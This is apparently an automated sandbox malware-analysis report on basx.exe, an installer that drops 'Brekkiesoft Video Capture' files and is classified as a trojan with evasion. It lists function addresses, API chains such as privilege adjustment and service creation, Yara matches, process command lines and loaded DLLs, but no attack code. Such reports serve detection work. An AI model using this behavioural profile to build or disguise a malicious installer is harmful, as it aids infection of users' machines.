                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0043035C1_2_0043035C
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004444C81_2_004444C8
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004345C41_2_004345C4
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00444A701_2_00444A70
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00486BD01_2_00486BD0
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00430EE81_2_00430EE8
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0045F0C41_2_0045F0C4
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004451681_2_00445168
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0045B1741_2_0045B174
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004694041_2_00469404
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004455741_2_00445574
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004519BC1_2_004519BC
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00487B301_2_00487B30
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0048DF541_2_0048DF54
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_004010003_2_00401000
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_004067B73_2_004067B7
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609660FA3_2_609660FA
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6092114F3_2_6092114F
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6091F2C93_2_6091F2C9
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096923E3_2_6096923E
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6093323D3_2_6093323D
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6095C3143_2_6095C314
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609503123_2_60950312
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094D33B3_2_6094D33B
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6093B3683_2_6093B368
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096748C3_2_6096748C
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6093F42E3_2_6093F42E
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609544703_2_60954470
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609615FA3_2_609615FA
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096A5EE3_2_6096A5EE
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096D6A43_2_6096D6A4
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609606A83_2_609606A8
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609326543_2_60932654
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609556653_2_60955665
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094B7DB3_2_6094B7DB
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6092F74D3_2_6092F74D
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609648073_2_60964807
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094E9BC3_2_6094E9BC
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609379293_2_60937929
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6093FAD63_2_6093FAD6
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096DAE83_2_6096DAE8
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094DA3A3_2_6094DA3A
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60936B273_2_60936B27
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60954CF63_2_60954CF6
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60950C6B3_2_60950C6B
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60966DF13_2_60966DF1
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60963D353_2_60963D35
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60909E9C3_2_60909E9C
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60951E863_2_60951E86
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60912E0B3_2_60912E0B
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60954FF83_2_60954FF8
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02CA96C93_2_02CA96C9
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02CA96873_2_02CA9687
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02CA97573_2_02CA9757
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C8BAFD3_2_02C8BAFD
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C92A803_2_02C92A80
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C8D32F3_2_02C8D32F
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C870C03_2_02C870C0
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C7E07F3_2_02C7E07F
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C9267D3_2_02C9267D
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C8B6093_2_02C8B609
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C8874A3_2_02C8874A
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C8BF153_2_02C8BF15
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C90DB43_2_02C90DB4
                    Source: Joe Sandbox ViewDropped File: C:\ProgramData\BrekkiesoftVideoCapture\sqlite3.dll 16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: String function: 02C92A10 appears 136 times
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: String function: 02C87760 appears 32 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 00408C0C appears 45 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 00406AC4 appears 43 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 0040595C appears 117 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 00457F1C appears 73 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 00403400 appears 60 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 00445DD4 appears 45 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 00457D10 appears 96 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 004344DC appears 32 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 004078F4 appears 43 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 00403494 appears 83 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 00403684 appears 225 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 00453344 appears 97 times
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: String function: 004460A4 appears 59 times
                    Source: basx.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
                    Source: basx.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                    Source: basx.tmp.0.drStatic PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
                    Source: is-05H7T.tmp.1.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
                    Source: is-05H7T.tmp.1.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                    Source: is-05H7T.tmp.1.drStatic PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
                    Source: is-6NNVQ.tmp.1.drStatic PE information: Number of sections : 19 > 10
                    Source: sqlite3.dll.3.drStatic PE information: Number of sections : 19 > 10
                    Source: basx.exe, 00000000.00000003.2120059288.00000000020B8000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameshfolder.dll~/ vs basx.exe
                    Source: basx.exe, 00000000.00000003.2119540988.0000000002350000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameshfolder.dll~/ vs basx.exe
                    Source: basx.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                    Source: classification engineClassification label: mal100.troj.evad.winEXE@5/30@0/1
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C7F8D0 _memset,FormatMessageA,GetLastError,FormatMessageA,GetLastError,3_2_02C7F8D0
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,0_2_00409448
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004555E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,1_2_004555E4
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00455E0C GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,1_2_00455E0C
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: CreateServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,3_2_00401CC5
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0046E0E4 GetVersion,CoCreateInstance,1_2_0046E0E4
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_00409C34 FindResourceA,SizeofResource,LoadResource,LockResource,0_2_00409C34
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_00401BEA StartServiceCtrlDispatcherA,3_2_00401BEA
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_00401BEA StartServiceCtrlDispatcherA,3_2_00401BEA
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile created: C:\Users\user\AppData\Local\ProgramsJump to behavior
                    Source: C:\Users\user\Desktop\basx.exeFile created: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmpJump to behavior
                    Source: Yara matchFile source: 3.0.bsoftvideocapture33.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000003.00000000.2134308684.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.3384557748.00000000058C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-2NU4B.tmp, type: DROPPED
                    Source: Yara matchFile source: C:\ProgramData\BrekkiesoftVideoCapture\BrekkiesoftVideoCapture.exe, type: DROPPED
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe, type: DROPPED
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpFile read: C:\Windows\win.iniJump to behavior
                    Source: C:\Users\user\Desktop\basx.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganizationJump to behavior
                    Source: bsoftvideocapture33.exe, bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
                    Source: bsoftvideocapture33.exe, bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
                    Source: bsoftvideocapture33.exe, bsoftvideocapture33.exe, 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.3.dr, is-6NNVQ.tmp.1.drBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
                    Source: basx.exeReversingLabs: Detection: 47%
                    Source: basx.exeString found in binary or memory: need to be updated. /RESTARTAPPLICATIONS Instructs Setup to restart applications. /NORESTARTAPPLICATIONS Prevents Setup from restarting applications. /LOADINF="filename" Instructs Setup to load the settings from the specified file after having checked t
                    Source: basx.exeString found in binary or memory: /LOADINF="filename"
                    Source: C:\Users\user\Desktop\basx.exeFile read: C:\Users\user\Desktop\basx.exeJump to behavior
                    Source: unknownProcess created: C:\Users\user\Desktop\basx.exe "C:\Users\user\Desktop\basx.exe"
                    Source: C:\Users\user\Desktop\basx.exeProcess created: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp "C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp" /SL5="$2041A,3427790,56832,C:\Users\user\Desktop\basx.exe"
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe "C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe" -i
                    Source: C:\Users\user\Desktop\basx.exeProcess created: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp "C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp" /SL5="$2041A,3427790,56832,C:\Users\user\Desktop\basx.exe" Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpProcess created: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe "C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe" -iJump to behavior
                    Source: C:\Users\user\Desktop\basx.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\Desktop\basx.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: mpr.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: textinputframework.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: coreuicomponents.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: shfolder.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: rstrtmgr.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: ncrypt.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: ntasn1.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: msacm32.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: winmmbase.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: winmmbase.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: textshaping.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: riched20.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: usp10.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: msls31.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: explorerframe.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: sfc.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpSection loaded: sfc_os.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: sqlite3.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: appxsip.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: opcservices.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: dhcpcsvc.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: winhttp.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: winnsi.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: schannel.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: mskeyprotect.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: ntasn1.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeSection loaded: msasn1.dllJump to behavior
